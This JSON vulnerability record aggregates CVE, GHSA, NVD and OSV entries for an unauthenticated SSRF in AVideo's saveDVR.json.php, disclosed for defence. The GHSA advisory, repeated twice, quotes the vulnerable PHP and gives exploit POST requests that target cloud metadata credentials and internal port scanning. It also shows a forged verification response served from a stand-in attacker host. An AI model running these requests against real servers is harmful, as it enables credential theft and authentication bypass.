{"id":"CVE-2026-33351","aliases":["EUVD-2026-20073","GHSA-5f7v-4f6g-74rj"],"status":"published","title":"AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00449,"percentile":0.39431,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-918"],"published":"2026-03-19T19:13:26Z","modified":"2026-10-28T02:30:24Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33351","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5f7v-4f6g-74rj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33351.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33351","title":"AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T13:51:43.972Z","modified":"2026-03-23T18:44:50.468Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-20073","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T13:51:43Z","modified":"2026-03-23T18:44:50Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T19:25:30.696372Z"}],"ghsa":[{"id":"GHSA-5f7v-4f6g-74rj","title":"AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass","description":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = '../../../videos/configuration.php';\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global['webSiteRootURL'];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST['webSiteRootURL'])) {\n    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` — reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` — used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` — used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST['webSiteRootURL'])) {\n   //     $streamerURL = $_REQUEST['webSiteRootURL'];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die('saveDVR: Server not configured');\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST['webSiteRootURL'])) {\n       $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);\n       if ($url \u0026\u0026 preg_match('/^https?:\\/\\//i', $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die('saveDVR: Invalid URL');\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.","status":"published","published":"2026-03-19T19:13:26Z","modified":"2026-03-25T18:49:00Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33351","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T14:16:33.423Z","modified":"2026-06-17T10:37:21.717Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33351","title":"AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass","description":"WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.","status":"published","published":"2026-03-23T13:51:43.972Z","modified":"2026-10-28T02:30:24.537276627Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-5f7v-4f6g-74rj","title":"AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass","description":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST['webSiteRootURL']` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = '../../../videos/configuration.php';\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global['webSiteRootURL'];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST['webSiteRootURL'])) {\n    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST['webSiteRootURL']` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` — differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` — reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` — used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` — used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST['webSiteRootURL'])) {\n   //     $streamerURL = $_REQUEST['webSiteRootURL'];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die('saveDVR: Server not configured');\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST['webSiteRootURL'])) {\n       $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL);\n       if ($url \u0026\u0026 preg_match('/^https?:\\/\\//i', $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die('saveDVR: Invalid URL');\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.","status":"published","published":"2026-03-19T19:13:26Z","modified":"2026-03-25T19:48:42.009331Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:38.213481Z"}]}}
